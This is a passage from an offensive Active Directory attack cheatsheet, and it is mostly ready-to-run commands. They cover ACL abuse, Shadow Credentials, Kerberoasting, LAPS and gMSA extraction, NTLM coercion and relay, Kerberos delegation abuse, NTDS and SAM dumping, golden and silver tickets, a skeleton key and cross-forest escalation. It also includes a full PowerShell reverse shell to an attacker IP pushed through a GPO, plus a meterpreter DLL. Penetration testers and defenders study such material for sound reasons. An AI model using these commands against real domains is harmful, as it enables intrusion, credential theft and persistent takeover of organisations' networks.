owneredit.py -new-owner user1 -target user2 -dc-ip <DC_IP> -action write 'domain.local'/'user1':'password'
dacledit.py -action write -target user2 -principal user1 -rights ResetPassword -ace-type allowed -dc-ip <DC_IP> 'domain.local'/'user1':'password'

#And change the password
net rpc password user2 -U 'domain.local'/'user1'%'password' -S DC.domain.local
WriteDacl

With this rights we can modify our ACLs against the target, and give us GenericAll for example

dacledit.py -action write -target user2 -principal user1 -rights FullControl -ace-type allowed -dc-ip <DC_IP> 'domain.local'/'user1':'password'

In case where you have the right against a container or an OU, it is possible to setup the Inheritance flag in the ACE. The child objects will inherite the parent container/OU ACE (except if the object has AdminCount=1)

dacledit.py -inheritance -action write -target 'CN=Users,DC=domain,DC=local' -principal user1 -rights FullControl -ace-type allowed -dc-ip <DC_IP> 'domain.local'/'user1':'password'

On an user

WriteProperty
  • ShadowCredentials
pywhisker.py -t user2 -a add -u user1 -p password -d domain.local -dc-ip <DC_IP> --filename user2
  • Targeted Kerberoasting

We can then request a ST without special privileges. The ST can then be "Kerberoasted".

GetUserSPNs.py -request-user user2 -dc-ip <DC_IP> domain.local/user1:password

New SPN must be unique in the domain

#Set SPN on all the possible users, request the ticket and delete the SPN
targetedKerberoast.py -u user1 -p password -d domain.local --only-abuse
User-Force-Change-Password

With enough permissions on a user, we can change his password

net rpc password user2 -U 'domain.local'/'user1'%'password' -S DC.domain.local

On a computer

WriteProperty
  • ShadowCredentials
pywhisker.py -t computer$ -a add -u user1 -p password -d domain.local -dc-ip <DC_IP> --filename user2
  • Kerberos RBCD
AllExtendedRights
  • ReadLAPSPassword
nxc ldap <DC_IP> -u user1 -p password -M laps -o computer="<target>"
  • ReadGMSAPassword
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> gmsa

On a RODC

GenericWrite
  • Obtain local admin access

Change the managedBy attribute value and add a controlled user. He will automatically gain admin rights.

  • Retrieve Tiers 0 account's NT hashes

It is possible to modify the msDS-NeverRevealGroup and msDS-RevealOnDemandGroup lists on the RODC to allow Tiers 0 accounts to authenticate, and then forge RODC Golden Tickets for them to access other parts of the AD.

powerview domain.local/user1:Password123@RODC-server.domain.local

#First, add a domain admin account to the msDS-RevealOnDemandGroup attribute
#Then, append the Allowed RODC Password Replication Group group
PV > Set-DomainObject -Identity RODC-server$ -Set msDS-RevealOnDemandGroup='CN=Administrator,CN=Users,DC=domain,DC=local'
PV > Set-DomainObject -Identity RODC-server$ -Append msDS-RevealOnDemandGroup='CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local'

#If needed, remove the admin from the msDS-NeverRevealGroup attribute
PV > Set-DomainObject -Identity RODC-server$ -Clear msDS-NeverRevealGroup
WriteProperty

WriteProperty on the msDS-NeverRevealGroup and msDS-RevealOnDemandGroup lists is sufficient to modify them. Obtain the krbtgt_XXXXX key is still needed to forge RODC Golden Ticket.

powerview domain.local/user1:Password123@RODC-server.domain.local

#First, add a domain admin account to the msDS-RevealOnDemandGroup attribute
#Then, append the Allowed RODC Password Replication Group group
PV > Set-DomainObject -Identity RODC-server$ -Set msDS-RevealOnDemandGroup='CN=Administrator,CN=Users,DC=domain,DC=local'
PV > Set-DomainObject -Identity RODC-server$ -Append msDS-RevealOnDemandGroup='CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local'

#If needed, remove the admin from the msDS-NeverRevealGroup attribute
PV > Set-DomainObject -Identity RODC-server$ -Clear msDS-NeverRevealGroup

On a group

WriteProperty/AllExtendedRights/GenericWrite Self

With one of this rights we can add a new member to the group

net rpc group addmem <group> user2 -U domain.local/user1%password -S <DC_IP>

On GPO

WriteProperty on a GPO
  • We can update a GPO with a scheduled task for example to obtain a reverse shell
./pygpoabuse.py domain.local/user1 -hashes lm:nt -gpo-id "<GPO_ID>" -powershell -command "\$client = New-Object System.Net.Sockets.TCPClient('attacker_IP',1234);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()" -taskname "The task" -description "Important task" -user
  • Create a local admin
./pygpoabuse.py domain.local/user1 -hashes lm:nt -gpo-id "<GPO_ID>"

On the domain/forest

DS-Replication-Get-Changes + DS-Replication-Get-Changes-All

We can DCSync

DS-Replication-Get-Changes + DS-Replication-Get-Changes-In-Filtered-Set

It is possible to realize a DirSync attack, as presented here. This attack is presented in the Active Directory cheatsheet.

Account Operators

The members of this group can add and modify all the non admin users and groups. Since LAPS ADM and LAPS READ are considered as non admin groups, it's possible to add an user to them, and read the LAPS admin password. They also can manage the Server Operators group members which can authenticate on the DC.

Add user to LAPS groups

net rpc group addmem 'LAPS ADM' user2 -U domain.local/user1%password -S <DC_IP>
net rpc group addmem 'LAPS READ' user2 -U domain.local/user1%password -S <DC_IP>

Read LAPS password

nxc ldap <DC_IP> -u user2 -p password -M laps -o computer="<target>"

DnsAdmins

  • It is possible for the members of the DNSAdmins group to load arbitrary DLL with the privileges of dns.exe (SYSTEM).
  • In case the DC also serves as DNS, this will provide us escalation to DA.
  • Need privileges to restart the DNS service.
#Generate the DLL
msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker_IP> LPORT=1234 -f dll > rev.dll

#On the DNS machine, modify the server conf
nxc smb <target> -u user1 -p password -X "dnscmd.exe /config /serverlevelplugindll \\<share_SMB>\rev.dll"

#### Restart DNS
services.py 'domain.local'/'user1':'password'@<DNS_server> stop dns
services.py 'domain.local'/'user1':'password'@<DNS_server> start dns

Schema Admins

These group members can change the "schema" of the AD. It means they can change the ACLs on the objects that will be created IN THE FUTUR. If we modify the ALCs on the group object, only the futur group will be affected, not the ones that are already present.

This attack is presented in the Active Directory cheatsheet.

Backup Operators

Can generally log in on any machines of the domain.

File system backup

Can backup the entire file system of a machine (DC included) and have full read/write rights on the backup.

To backup a folder content:

nxc smb <target> -u user1 -p password -X "robocopy /B C:\Users\Administrator\Desktop\ C:\tmp\tmp.txt /E"

To backup with Diskshadow + Robocopy:

  • Create a script.txt file to backup with Diskshadow and upload it on the target
set verbose onX
set metadata C:\Windows\Temp\meta.cabX
set context clientaccessibleX
set context persistentX
begin backupX
add volume C: alias cdriveX
createX
expose %cdrive% E:X
end backupX
  • Backup with diskshadow /s script.txt in the netexec command parameter
  • Retrieve the backup with robocopy and send the NTDS file in the current folder : robocopy /b E:\Windows\ntds . ntds.dit (still with NXC)
  • Then retrieve the SYSTEM registry hive to decrypt and profit reg save hklm\system c:\temp\system (always)

Registry read rights

The Backup Operators can read all the machines registry

reg.py -dc-ip <DC_IP> 'domain.local'/'backup$':'Password123'@server.domain.local query -keyName 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon'

#Backup the SAM, SECURITY and SYSTEM registry keys
reg.py -dc-ip <DC_IP> 'domain.local'/'backup$':'Password123'@server.domain.local backup -o \\<attacker_IP>\share

GPOs read/write rights

Normally the Backup Operators can read and rights all the domain and DC GPOs with robocopy in backup mode

  • Found the interesting GPO with Get-NetGPO . For example Default Domain Policy in the Domain Controller policy
  • Get the file at the path \\dc.domain.local\SYSVOL\domain.local\Policies\{GPO_ID}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf and add whatever you want in it
  • Write the file with robocopy:
nxc smb <target> -u user1 -p password -X 'robocopy "C:\tmp" "\\dc.domain.local\SYSVOL\domain.local\Policies\{GPO_ID}\MACHINE\Microsoft\Windows NT\SecEdit" GptTmpl.inf /ZB'

Key Admins

Members of this group can perform Shadow Credentials attacks against any objects, including the domain controllers.

AD Recycle Bin

Members of this group can recover deleted objects from the Active Directory, just like in a recycle bin for files, when the feature is enabled. These objects can sometimes have interesting properties.

This attacke is presented in the Active Directory cheatsheet.

Authentication capture, coerce and relay

Capture, coerce and leak

Different ways to obtain and catch NTLM authentications and retrieve a NTLM response.

Responder

Change the authentication challenge to 1122334455667788 in the Responder conf file in order to obtain an easily crackable hash if NTLMv1 is used.

sed -i 's/ Random/ 1122334455667788/g' Responder/Responder.conf

Catch all the possible hashes on the network (coming via LLMNR, NBT-NS, DNS spoofing, etc):

# Responder with WPAD injection, Proxy-Auth, DHCP, DHCP-DNS and verbose
responder -I interface_to_use -wPdDv

Force NTLM downgrade to NTLMv1 (will break the authentications if v1 is disabled on the machine):

# --disable-ess will disable the SSP, not always usefull
responder -I interface_to_use -wdDv --lm --disable-ess

NTLMv1 response can be cracked on crash.sh.

Leak Files

With write rights on a SMB share, it is possible to drop a .lnk or .scf file to grab some user hashes:

nxc smb <target> -u user1 -p password -M slinky -o SERVER=<attacker_SMB_share_IP> -o NAME=<file_name>
nxc smb <target> -u user1 -p password -M scuffy -o SERVER=<attacker_SMB_share_IP> -o NAME=<file_name>
#To clean
nxc smb <target> -u user1 -p password -M slinky -o CLEANUP=True
nxc smb <target> -u user1 -p password -M scuffy -o CLEANUP=True

MITM6

Spoof DHCPv6 responses to provide evil DNS config. Usefull to combine with NTLM or Kerberos Relay attacks. Here for an NTLM relay:

mitm6 -i interface_to_use -d domain.local -hw target.domain.local -v

Here for a Kerberos relay to ADCS:

mitm6 -i interface_to_use -d domain.local -hw target.domain.local --relay CA.domain.local -v

PetitPotam / PrinterBug / ShadowCoerce / DFSCoerce / CheeseOunce

Exploits to coerce Net-NTLM authentication from a computer. PetitPotam can be used without any credentials if no patch has been installed.

#PetitPotam
./petitpotam.py -u user1 -p password -d domain.local -pipe all <attacker_IP> <target_IP>

#PrinterBug
./dementor.py -u user1 -p password -d domain.local <attacker_IP> <target_IP>

#ShadowCoerce
./shadowcoerce.py -u user1 -p password -d domain.local <attacker_IP> <target_IP>

#DFSCoerce
./dfscoerce.py -u user1 -d domain.local <listener_IP> <target_IP>

#CheeseOunce via MS-EVEN
./cheese.py domain.local/user1:password@<target> <listener_IP>

Multi coerce

Try all the techniques above in one command with this.

coercer.py coerce -u user1 -p password -d domain.local -t <target_IP> -l <attacker_IP> -v

PrivExchange

Coerce Exchange server authentication via PushSubscription (now patched):

python3 privexchange.py -ah <attacker_IP> <Exchange_server> -u user1 -p password -d domain.local

MSSQL Server

With xp_dirtree.

WebClient Service

If this service runs on the target machine, a SMB authentication can be switched into an HTTP authentication (really useful for NTLM relay).

Check if WebClient is running on machines:

webclientservicescanner domain.local/user1:password@<IP_range>

If yes, coerce the authentication to the port 80 on the attacker IP. To bypass trust zone restriction, the attacker machine must be specified with a valid NETBIOS name and not its IP. the FQDN can be obtained with Responder in Analyze mode.

responder -I interface_to_use -A

#Coerce with PetitPotam for example
./petitpotam.py -u user1 -p password -d domain.local -pipe all "attacker_NETBIOS@80/test.txt" <target_IP>

NTLM and Kerberos relay

SMB without signing

Create a list of computer without SMB signing:

nxc smb <IP_range> --gen-relay-list list.txt

ntlmrelayx

If only SMBv2 is supported, -smb2support can be used. To attempt the remove the MIC if NTLMv2 is vulnerable to CVE-2019-1040, --remove-mic can be used.

Multiple targets can be specified with -tf list.txt.

  • Enumeration
#With attempt to dump possible GMSA and LAPS passwords, and ADCS templates
ntlmrelayx.py -t ldap://dc --dump-adcs --dump-laps --dump-gmsa --no-da --no-acl
  • SOCKS
ntlmrelayx.py -t smb://target -socks
ntlmrelayx.py -t mssql://target -socks
  • Creds dump
ntlmrelayx.py -t smb://target
  • DCSync if the target in vulnerable to Zerologon
ntlmrelayx.py -t dcsync://dc
  • Privesc

Add an user to Enterprise Admins.

ntlmrelayx.py -t ldap://dc --escalate-user user1 --no-dump
  • Create a computer account
#Create a new computer account through LDAPS
ntlmrelayx.py -t ldaps://dc_IP --add-computer --no-dump --no-da --no-acl

#Create a new computer account through LDAP with StartTLS
ntlmrelayx.py -t ldap://dc_IP --add-computer --no-dump --no-da --no-acl

#Create a new computer account through SMB through the SAMR named pipe (https://github.com/SecureAuthCorp/impacket/pull/1290)
ntlmrelayx.py -t smb://dc_IP --smb-add-computer EVILPC
  • Kerberos Delegation

Kerberos RBCD are detailled in the following section.

#Create a new computer account through LDAPS and enabled RBCD
ntlmrelayx.py -t ldaps://dc_IP --add-computer --delegate-access --no-dump --no-da --no-acl

#Create a new computer account through LDAP with StartTLS and enabled RBCD
ntlmrelayx.py -t ldap://dc_IP --add-computer --delegate-access --no-dump --no-da --no-acl

#Doesn't create a new computer account and use an existing one
ntlmrelayx.py -t ldap://dc_IP --escalate-user <controlled_computer> --delegate-access --no-dump --no-da --no-acl
  • Shadow Credentials
ntlmrelayx.py -t ldap://dc02 --shadow-credentials --shadow-target 'dc01$'
  • From a mitm6 authent
#Attempts to open a socks and write loot likes dumps into a file
ntlmrelayx.py -tf targets.txt -wh attacker.domain.local -6 -l loot.txt -socks
  • Targeting GPO

Attack GPO from an unauthenticated point of view (by intercepting a NTLM authentication) cannot be performed only through LDAP, since the Group Policy Template needs to be modified via SMB. Read this article to better understand.

First, use ntlmrelayx to obtain full rights on the GPC via LDAP for a controlled account (or create a new one)

ntlmrelayx -t 'ldaps://<DC_IP>' -wh '<attacker_IP>:8080' --http-port '80,8080' -i

#When relay is successful, use nc to obtain a LDAP shell
nc 127.0.0.1 11000
add_computer ATTACKER Password123
write_gpo_dacl ATTACKER$ {<GPO_ID>}

Then, modify the GPO with the controlled account

python3 gpoddity.py --gpo-id '<GPO_ID>' --domain 'domain.local' --username 'ATTACKER$' --password 'Password123' --command '<command_to_execute>' --rogue-smbserver-ip '<attacker_IP>' --rogue-smbserver-share 'evil'

krbrelayx

To relay authentication from a mitm6 DNS spoofing to ADCS:

krbrelayx.py --target http://CA.domain.local/certsrv -ip <attacker_IP> --victim target$ --adcs --template Machine

krbjack

A tool to perform DNS updates thanks to the ZONE_UPDATE_UNSECURE flag in the DNS configuration. Perform a MiTM between any client and a target machine by changing its DNS resolution, forward all the packets to the specified ports, and steal the AP_REQ packets on the fly to reuse them.

The port list is really important and must match all the open ports on the target to perform all thge forward. If not, a DOS will occure since clients will not be able to reach the services.

  • MiTM and exec an executable on the target (SMB signing must be not required)
krbjack --target-name <target> --domain domain.local --dc-ip <DC_IP> --ports <port1,port2,port3,...> --executable <executable.exe>
  • Just perform DNS poisoning without port forwarding and use the MiTM with ntlmrelayx. Be careful with the DOS risk
krbjack --target-name <target> --domain domain.local --dc-ip <DC_IP>
ntlmrelayx.py -t <target_IP> -smb2support

Kerberos Delegations

Kerberos delegations can be used for local privesc, lateral movement or domain privesc. The main purpose of Kerberos delegations is to permit a principal to access a service on behalf of another principal.

There are two main types of delegation:

  • Unconstrained Delegation: the first hop server can request access to any service on any computer
  • Constrained Delegation: the first hop server has a list of service it can request

Unconstrained delegation

  • A user request a TGT to the DC
  • The user requests a ST for a service on a computer which is in Unconstrained Delegation
  • The DC places user's TGT inside ST. When presented to the server with unconstrained delegation, the TGT is extracted from ST and stored in LSASS. This way the server can reuse the user's TGT to access any other resource as the user
  • This behavior can be abused by extracting the TGT from the previous users stored in LSASS

Enumerate principals with Unconstrained Delegation

Works for computers and users

findDelegation.py -dc-ip <DC_IP> domain.local/user1:password

#For another domain across trust
findDelegation.py -target-domain <target_domain> domain.local/user1:password

Unconstrained Delegation attack

If we have enough rights against a principal (computer or user) in UD to add a SPN on it and know its password, we can try to use it to retrieve a machine account password from an authentication coercion.

  • Add a new DNS record on the domain that point to our IP
  • Add a SPN on the principal that point to the DNS record and change its password (will be usefull for the tool krbrelayx.py to extract the TGT from the ST)
  • Trigger the authentication and grab the ST (and TGT in it) on krbrelayx that is listenning for it

Since the principal is in Unconstrained Delegation, when the machine account will send the ST to the SPN it will automatically add a TGT in it, and because the SPN is pointing to us with the DNS record, we can retrieve the ST, decipher the ciphered part with the user password (the SPN is setup on the user, so the ST is ciphered with his password), and retrieve the TGT.

#Add the SPN
python3 addspn.py -u 'domain.local\user1' -p 'password' -s 'HOST/attacker.domain.local' -t 'target.domain.local' --additional <DC_IP>

#Create the DNS record
python3 dnstool.py -u 'domain.local\user1' -p 'password' -r 'attacker.domain.local' -d '<attacker_IP>' --action add <DC_IP>

#Run krbrelayx with the hash of the password of the principal
python3 krbrelayx.py -hashes :2B576ACBE6BCFDA7294D6BD18041B8FE -dc-ip dc.domain.local

#Trigger the coercion
./petitpotam.py -u user1 -p password -d domain.local -pipe all "attacker.domain.local" <target_IP>

Constrained delegation

In this situation, the computer in delegation has a list of services where it can delegate an authentication. This is controlled by msDS-AllowedToDelegateTo attribute that contains a list of SPNs to which the user tokens can be forwarded. No ticket is stored in LSASS.

To impersonate the user, Service for User (S4U) extension is used which provides two extensions:

  • Service for User to Self (S4U2self) - Allows a service to obtain a forwardable ST to itself on behalf of a user with just the user principal name without supplying a password. The service account must have the TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION – T2A4D UserAccountControl attribute.
  • Service for User to Proxy (S4U2proxy) - Allows a service to obtain a ST to a second service on behalf of a user.

Enumerate users and computers with CD enabled

findDelegation.py -dc-ip <DC_IP> domain.local/user1:password

#For another domain across trust
findDelegation.py -target-domain <target_domain> domain.local/user1:password

With protocol transition

Any service can be specified on the target since it is not correctly checked.

getST.py -spn 'cifs/target.domain.local' -impersonate administrator -hashes ':<computer_NThash>' -dc-ip <DC_IP> domain.local/computer
export KRB5CCNAME=./Administrator.ccache

Without protocol transition

In this case, it is not possible to use S4U2self to obtain a forwardable ST for a specific user. This restriction can be bypassed with an RBCD attack detailled in the following section.

Resource-based constrained delegation

Wagging the Dog

With RBCD, this is the resource machine (the machine that receives delegation) which has a list of services that can delegate to it. This list is specified in the attribute msds-allowedtoactonbehalfofotheridentity and the computer can modified its own attribute (really usefull in NTLM relay attack scenario).

Requirements

  • The DC has to be at least a Windows Server 2012
  • Write rights on the target machine (GenericAll, GenericWrite, AllExtendedRights)
  • Target computer object must not have the attribute msds-allowedtoactonbehalfofotheridentity set

Enumerate users and computers with RBCD enabled

findDelegation.py -dc-ip <DC_IP> domain.local/user1:password

#For another domain across trust
findDelegation.py -target-domain <target_domain> domain.local/user1:password

#Check the attribute on an account
rbcd.py -action read -delegate-to ServiceB$ domain.local/user1:password

Standard RBCD

The attaker has compromised ServiceA and want to compromise ServiceB. Additionnally he has sufficient rights to configure msds-allowedtoactonbehalfofotheridentity on ServiceB.

#Add RBCD from ServiceA to ServiceB
rbcd.py -action write -delegate-from ServiceA$ -delegate-to ServiceB$ domain.local/user1:password

#Verify property
rbcd.py -action read -delegate-to ServiceB$ domain.local/user1:password

#Get ServiceA TGT and then S4U
getST.py -spn 'cifs/serviceB.domain.local' -impersonate administrator -hashes ':<ServiceA_NThash>' -dc-ip <DC_IP> domain.local/ServiceA$
export KRB5CCNAME=./Administrator.ccache

With machine account creation

  • Domain users can create some machines, ms-ds-machineaccountquota must not being to 0
  • Add a fake machine account in the domain
  • Add it the to msds-allowedtoactonbehalfofotheridentity attribute of the target machine
addcomputer.py -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -domain-netbios domain.local 'domain.local/user1:password'
rbcd.py -action write -delegate-from ControlledComputer$ -delegate-to ServiceB$ domain.local/ControlledComputer$:ComputerPassword
  • Use the S4USelf function with the fake machine (on an arbitrary SPN) to create a forwardable ticket for a wanted user (not protected)
  • Use the S4UProxy function to obtain a ST for the impersonated user for the wanted service on the target machine
getST.py -spn 'cifs/serviceB.domain.local' -impersonate administrator -dc-ip <DC_IP> domain.local/ControlledComputer$:ComputerPassword
export KRB5CCNAME=./Administrator.ccache

Skip S4USelf

  • Attacker has compromised Service A, has sufficient ACLs against Service B to configure RBCD, and wants to attack Service B
  • By social engineering or any other solution, an interesting victim authenticates to Service A with a ST
  • Attacker dumps the ST on Service A (sekurlsa::tickets)
  • Attacker configures RBCD from Service A to Service B as above
  • Attacker performs S4UProxy and bypass S4USelf by providing the ST as evidence

NOT TESTED IN MY LAB WITH IMPACKET

getST.py -spn 'cifs/serviceB.domain.local' -additional-ticket ./ticket.ccache -hashes ':<ServiceA_NThash>' -dc-ip <DC_IP> domain.local/ServiceA$

Reflective RBCD

With a TGT or the hash of a service account, an attacker can configure a RBCD from the service to itself, and run a full S4U to access to access the machine on behalf of another user.

rbcd.py -action write -delegate-from ServiceA$ -delegate-to ServiceA$ -k -no-pass domain.local/ServiceA$
getST.py -spn 'cifs/serviceA.domain.local' -impersonate administrator -k -no-pass -dc-ip <DC_IP> domain.local/ServiceA$

Impersonate protected user via S4USelf request

It is possible to impersonate a protected user with the S4USelf request if we have a TGT (or the creds) of the target machine (for example from an Unconstrained Delegation).

With the target TGT it is possible to realise a S4USelf request for any user and obtain a ST for the service. In case where the needed user is protected against delegation, S4USelf will still work, but the ST is not forwardable (so no S4UProxy possible) and the specified SPN is invalid...however, the SPN is not in the encrypted part of the ticket. So it is possible to modify the SPN and retrieve a valid ST for the target service with a sensitive user (and the ST PAC is well signed by the KDC).

getST.py -self -altservice 'cifs/serviceA.domain.local' -impersonate administrator -k -no-pass -dc-ip <DC_IP> domain.local/ServiceA$

Bypass Constrained Delegation restrictions with RBCD

  • Attacker compromises ServiceA and ServiceB
  • ServiceB is allowed to delegate to time/ServiceC (the target) without protocol transition (no S4USelf)
  • Attacker configures RBCD from ServiceA to ServiceB and performs a full S4U attack to obtain a forwardable ST for the Administrator to ServiceB
  • Attacker reuses this forwardable ST as evidence to realise a S4UProxy attack from ServiceB to time/ServiceC
  • Since the service is not protected in the obtained ticket, the attacker can change the ST from the previous S4UProxy execution to cifs/ServiceC
#RBCD from A to B
rbcd.py -action write -delegate-from ServiceA$ -delegate-to ServiceB$ -hashes ':<ServiceA_NThash>' domain.local/ServiceA$
getST.py -spn 'cifs/serviceB.domain.local' -impersonate administrator -hashes ':<ServiceA_NThash>' -dc-ip <DC_IP> domain.local/ServiceA$

#S4UProxy from B to C with the obtained ST as evidence
getST.py -spn 'cifs/serviceC.domain.local' -additional-ticket ./administrator.ccache -hashes ':<ServiceB_NThash>' -dc-ip <DC_IP> domain.local/ServiceB$

U2U RBCD with SPN-less accounts

In case where you have sufficient rights to configure an RBCD on a machine (for example with an unsigned authentication coerce via HTTP) but ms-ds-machineaccountquota equals 0, there is no ADCS with the HTTP endpoint and the Shadow Credentials attack is not possible (domain level to 2012 for example), you can realize a RBCD from a SPN-less user account. An interesting example is present here.

  • Configure the machine account to trust the user account you control (NTLM Relay, with the machine account's creds,...)
  • Obtain a TGT for the user via pass-the-hash and extract the session key from it with this PR:
getTGT.py -hashes :$(pypykatz crypto nt 'password') 'domain.local'/'user1'
describeTicket.py 'user1.ccache' | grep 'Ticket Session Key'
  • Now, change the user's long term key (his RC4 NT hash actually) to be equal to the TGT session key. The ST sent in the S4UProxy will be encrypted with the session key, but the KDC will try to decipher it with the user's long term key, this is why the LT key must be equal to the session key (WARNING !!! The user's password is now equal to an unknown value, you have to use a sacrificial account to realise this attack). Everything is explained here.
smbpasswd.py -newhashes :sessionKey 'domain.local'/'user1':'password'@'DC'
  • Realize the S4USelf request with a U2U request. If U2U is not used, the KDC cannot find the account's LT key when a UPN is specified instead of a SPN. Then, use the ticket obtained in the U2U S4USelf request (ciphered with the session key), to perform a S4UProxy request. Use this PR to do it:
KRB5CCNAME='user1.ccache'
getST.py -k -no-pass -u2u -impersonate "Administrator" -spn "cifs/target.domain.local" 'domain.local'/'user1'
  • Finally, use the obtained ST to dump the machine LSA and SAM registers with secretsdump.

RBCD from MSSQL server

If we have sufficient access to a MSSQL server we can use the xp_dirtree in order to leak the Net-NTLM hash of the machine account. Additionally, the Web Service client must be running on the machine in order to trick the authentication from SMB to HTTP and avoid the NTLM signature (authentication must be sent to @80):

  • Create a DNS record in order to be able to leak the NTLM hash externally
  • Use the xp_dirtree (or xp_fileexist) function to the created DNS record on @80. This will force the authentication and leak the hash
  • Relay the machine hash to the LDAP server to add a controlled account (with a SPN for the further S4USelf request) to the msDS-AllowedToActOnBehalfOfOtherIdentity of the target machine
  • Now we can ask a ST for a user we want to impersonate for a service on the machine
#Add the DNS
python3 dnstool.py -u 'domain.local\user1' -p 'password' -r 'attacker.domain.local' -d '<attacker_IP>' --action add <DC_IP>

#On our machine, waiting for the leak
#https://gist.github.com/3xocyte/4ea8e15332e5008581febdb502d0139c
python rbcd_relay.py 192.168.24.10 domain.local 'target$' <controlledAccountWithASPN>

#ON the MSSQL server
SQLCMD -S <MSSQL_instance> -Q "exec master.dbo.xp_dirtree '\\attacker@80\a'" -U Admin -P Admin

#After the attack, ask for a ST with full S4U
getST.py -spn cifs/target.domain.local -impersonate admininistrator -dc-ip <DC_IP> domain.local/<controlledAccountWithASPN>password

Domain Persistence

Sapphire ticket

Similar to Diamond Ticket, but instead of decipher, modify, recipher and resign the PAC on the fly, this technique inject a fully new one PAC obtained via a S4USelf + U2U attack in the requested ticket. Full explains here.

ticketer.py -request -impersonate 'Administrator' -domain 'domain.local' -user 'user1' -password 'password' -aesKey 'krbtgt_AES_key' -domain-sid '<domain_SID>' 'blabla'

Diamond ticket

Blog here

For the moment, the ticketer.py approach is not really attractive and the Sapphire Ticket attack is preferable, or use Rubeus on Windows.

Golden ticket

Dump krbtgt hash with DCSync

secretsdump.py -just-dc-user 'krbtgt' -just-dc-ntlm domain.local/administrator:password@<DC>

Create TGT

ticketer.py -domain domain.local -domain-sid <domain_SID> -nthash <krbtgt_hash> -user-id <target_RID> -duration <ticket_lifetime_in_day> <target_user>

RODC Golden Ticket

This attack is presented in the Active Directory cheatsheet.

Silver ticket

ticketer.py -domain domain.local -domain-sid <domain_SID> -spn 'cifs/target' -nthash <account_hash> -user-id <target_RID> -duration <ticket_lifetime_in_day> <target_user>

Another solution, if you don't have the NT hash or the AES keys of the service but you have a TGT for the service account, is to impersonate an account via a request for a service ticket through S4USelf to an alternative service (and the opsec is better since the PAC is consistent):

export KRB5CCNAME=./target_TGT.ccache
getST.py -self -impersonate "Administrator" -altservice "cifs/target.domain.local" -k -no-pass "domain.local"/'target$'

GoldenGMSA

This attack is presented in the Active Directory cheatsheet.

Skeleton key

nxc smb <DC_IP> -u 'Administrator' -p 'password' -M mimikatz -o COMMAND='misc::skeleton'

Now, it is possible to access any machine with a valid username and password as "mimikatz"

DSRM

  • DSRM is Directory Services Restore Mode
  • The local administrator on every DC can authenticate with the DSRM password
  • It is possible to pass the hash of this user to access the DC after modifying the DC configuration

Dump DSRM password

nxc smb <DC_IP> -u user1 -p password --sam

Change registry configuration

Need to change the logon behavior before pass the hash

reg.py -dc-ip <DC_IP> 'domain.local'/'Administrator':'password'@dc.domain.local add -keyName 'HKLM\\System\\CurrentControlSet\\Control\\Lsa\\' -v 'DsrmAdminLogonBehavior' -vd 2 -vt REG_DWORD

Now the DSRM hash ca be used to authenticate

Custom SSP

SSP are DDLs that provide ways to authenticate for the application. For example Kerberos, NTLM, WDigest, etc. Mimikatz provides a custom SSP that permits to log in a file in clear text the passwords of the users that authenticate on the machine.

  • By patching LSASS (really instable since Server 2016)
nxc smb <target> -u user1 -p password -M mimikatz -o COMMAND='misc::memssp'
  • By modifying the LSA registry

Upload the mimilib.dll to system32 and add mimilib to HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages :

#Retrieve the actual values of Security Package
reg.py -dc-ip <DC_IP> 'domain.local'/'Administrator':'password'@dc.domain.local query -keyName 'HKLM\\System\\CurrentControlSet\\Control\\Lsa\\' -v 'Security Packages' -s

#Append mimilib to the previous list
reg.py -dc-ip <DC_IP> 'domain.local'/'Administrator':'password'@dc.domain.local add -keyName 'HKLM\\System\\CurrentControlSet\\Control\\Lsa\\' -v 'Security Packages' -vd "<list> mimilib" -vt REG_MULTI_SZ

DACLs - AdminSDHolder

AdminSDHolder is a solution that compares the ACLS of the objects with AdminCount=1 with a list of ACLs. If the ACLs of the objects are different, they are overwritten. The script run normally every hour.

Attack

  • With write privs on the AdminSDHolder object, it can be used for persistence by adding a user with Full Permissions to the AdminSDHolder object for example.
  • When the automatic script will run, the user will be added with Full Control to the AC of groups like Domain Admins.
dacledit.py -action write -target-dn 'CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL' -principal user1 -rights FullControl -ace-type allowed -dc-ip <DC_IP> 'domain.local'/'administrator':'password'

Check Domain Admin ACLs

dacledit.py -action read -target "Domain Admins" -principal user1 -dc-ip <DC_IP> domain.local/user1:password

DACLs - Interesting rights

The ACLs can be used for persistence purpose by adding interesting rights like DCSync, FullControl over the domain, etc. Check the On any objects in the ACLs attacks section.

Cross-Trust Movement

Attacks against trusts are generally more efficient from a Windows machine with Mimikatz and Rubeus.

Child to parent domain

Escalate from a child domain to the root domain of the forest by forging a Golden Ticket with the SID of the Enterprise Admins group in the SID history field.

#The new Golden Ticket will be written at the path specified in -w
raiseChild.py -w ./ticket.ccache child.domain.local/Administrator:password

#Dump the Administrator's hash of the root domain
raiseChild.py child.domain.local/Administrator:password

#PSEXEC on a machine
raiseChild.py -target-exec <target> child.domain.local/Administrator:password

Across forest

SID History attacks

If there is no SID filtering, it is possible to specify any privileged SID of the target forest in the SID History field. Otherwise, with partial filtering, an RID > 1000 must be indicated.

  • Get the Trust Key
secretsdump.py -just-dc-user '<current_forest/target_forest$>' domain.local/Administrator:password@<DC>
  • If no filtering : forge a referral ticket or an inter-realm Golden Ticket and request for a ST

ticketer.py doesn't work really well with inter-realm TGT, it's preferable to use Mimikatz for this one.

#Referral ticket
ticketer.py -domain domain.local -domain-sid <domain_SID> -extra-sid <target_domain_SID>-<RID> -aesKey <aes_trust_key> -spn "krbtgt/targetDomain.local" <target_user>

#Inter-realm Golden Ticket
